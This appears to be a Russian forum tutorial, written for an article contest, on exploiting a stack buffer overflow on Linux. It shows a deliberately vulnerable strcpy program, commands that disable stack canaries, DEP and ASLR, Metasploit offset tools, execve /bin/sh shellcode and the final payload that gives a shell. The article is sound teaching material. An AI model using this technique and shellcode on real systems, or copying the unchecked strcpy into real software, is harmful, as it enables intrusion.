Тема написана для конкурса статей VLMI
НАПИСАНИЕ ЭКСПЛОИТА
Такс, сегодня я постараюсь доходчиво обьяснить как же можно написать простенький эксплоит основанный на переполнении буфера стека, сразу предупреждаю суровых кодеров, которые пишут эксплоиты в блокноте сильно не критиковать, я еще только начинаю в это вникать.
Часть текста будет из вики, но перефразирована понятным языком.
А перед прочтением спешу сообщить что,во-первых данная статья не является мануалом, во-вторых, в данной статье слишком много букаф и непонятных для некоторых людей сокращений и аббревиатур, так что гоогле в помощь)
А так же перед написанием данной статьи мне пришлось изучит кучу информации касаемо эксплоитов, так же включая инфу с других древних бордов, по этому не которые кусочки текста я брал оттуда)
А так же перед написанием данной статьи мне пришлось изучит кучу информации касаемо эксплоитов, так же включая инфу с других древних бордов, по этому не которые кусочки текста я брал оттуда)
Ну, во-первых, начнем с определения.
Эксплоит — компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой, так и нарушение её функционирования.
Так же есть несколько классификаций эксплоитов, такие как:
- удаленный эксплоит - это эксплоит который загружается на машину жертвы удаленно, то есть через интернет.
- локальный эксплоит - это эксплоит который сапускается непосредственно через уязвимую сеть, обычно с целью получить права суперпользователя.
Так же есть и отдельные виды эксплоитов:
- Эксплоиты для операционных систем
- Эксплоиты для прикладного ПО
- Эксплоиты для браузеров
- Эксплоиты для интернет-продуктов (IPB, WordPress, VBulletin, phpBB)
- Эксплоиты для интернет-сайтов (facebook.com, hi5.com, livejournal.com)
Как же выглядят эти эксплоиты?
Эксплоиты выглядят как обычный текст, написанный на любом языке программирования таком как C/C++, Perl, Python, PHP, HTML+JavaScript
Эксплоиты могут быть классифицированы также по типу используемой ими уязвимости, такой как: переполнение буфера, внедрение SQL-кода, межсайтовый скриптинг (XSS оказывается тоже разновидность эксплоита), подделка межсайтовых запросов и тому подобные.
Как создается эксплоит?
Для начала тот или иной обьект анализируется на наличие уязвимостей, а после эта инфа уже используется либо для написания эксплоита, лидо для устранения этой дыры, поэтому в этом заинтересованы обе стороны - и хакер, и человек по отвечающий за ИБ данного обьекта.
После закрытия дыры производителем шанс успешного применения эксплоита начинает уменьшаться. Поэтому особой популярностью среди хацкеров пользуются так называемые атаки нулевого дня (0day эксплоиты), использующие недавно появившиеся уязвимости, которые еще не стали сильно известны.
Но узнать конкретно какой эксплоит использовать очень трудно по этому на нужный обьект запускается "стая" эксплоитов (чтоб наверняка)
Как же работает эксплоит?(нет, можно обойтись и без танцев с бубном)
Структура эксплоита так же многоуровневая, она состоит из:
- Сегмент кода – содержит скомпилированный исполняемый код программы
- Сегмент данных - содержит переменные
- Стек - тип данных, представляющий собой список элементов, организованных по принципу LIFO (last in — first out, «последним пришёл — первым вышел»). То есть элементы удаляются задом на перед;)
- Куча - массив выделенный, для оставшейся памяти процессора
Так же в эксплоите присутствует шелл-код - иполняемый код, именно в нем можно прописать любые команды которые в хотите запустит на том или ином обьекте.
Шеллкод – это полезная нагрузка, которая выполняется после успешного запуска эксплойта.
Если в кратце, то эксплоит действует по такому принципу (если эксплоит основан на переполнении буфера стека), при запуске эксплоита переполняется буфер стека обьекта, после (магичесским образом)" открывается" так называемая "дверка" в которую идет запись нашего исполняемого шелл кода.
Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы.
Давайте перейдем уже непосредственно к практике!
Я буду использовать Evan‘s debugger для наглядного примера переполнения буфера на всеми любимом линкуксе.
Шелл код
Распространенная уязвимость переполнения буфера в программе сохраняет данные, внедряемые пользователем в памяти без проверки ее точного размера, который должны быть записаны в памяти. Зная это, можно использовать простой пример кода уязвимости для стека на основе переполнения буфера.
Код:
#include
#include
int main(int argc, char** argv)
{
char buffer[20];
strcpy(buffer, argv[1]);
printf("%s/n",buffer);
return 0;
}
Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.
Сам взлом
Мы почти взломали обьект. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплоита, у компиляторов и ОС теперь есть несколько защитных мер против этого.
Для этого можно воспользоваться например стеком Canary.
Сам стек Canary
Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector.
Код:
root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector
Предотвращение DEP
Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как execstack
Код:
root@kali:~# execstack -s ./vulnerable
DEP может быть обойден, с помощью таких техник как ret2libc attack или ROP.
Что же такое ASLR
ASLR (Address Space Layout Randomization) - рандомизация пространства памяти программы так, чтобы перезаписывание адресной ссылки команд не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду
Код:
root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space
Сейчас, когда вся защита переполнения буфера отключена, мы можем перейти к спокойному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов.
Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.
Program crash due to buffer overflow
Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.
Код:
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*200‘)
EIP points to 0x41414141
Управление EIP
Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Код:
root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
EIP points to a location in the unique pattern
Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130
Теперь нам нужно выбрать хорошее место чтобы иметь адресную ссылку к EIP; там, где мы сможем хранить выполнимый пейлоад. Отсылая выполненный пейлоад, мы можем вычислить место в стеке проги для нашего пейлоад.
Код:
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "B"*4 + "C"*164‘)
Это приведет к крэшу программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад.
Contents of stack after buffer overflow
Использование шелл-кода
Мы можем взять примитивный шелл-код, который выполняет /bin/bash, этим запуская оболочку с правами обычного пользователя, который запускает уязвимую программу.
Я использовал этот:
Код:
*****************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
********************************
#include
#include
char *shellcode = "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
"/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80";
int main(void)
{
fprintf(stdout,"Length: %d/n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Самое главное нужно помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш круто закоденный адрес памяти для EIP будет указывать на не существующую память.
Мы можем заполнить оставшееся место символами ‘/x90‘, которые обычно являются неэксплуатируемыми командами CPU.
Код:
root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "/x90/xf9/xff/xbf" +"/x90"*141 + "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80"‘)
Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка.
Shell from buffer overflow exploit
Вот и все
Статья написана спешиал фор VLMI конкурс
Напоминаю я не спец в написании эксплоитов, а лишь скрипт кидди у которого есть немного серого вещества в черепной коробке)
Последнее редактирование: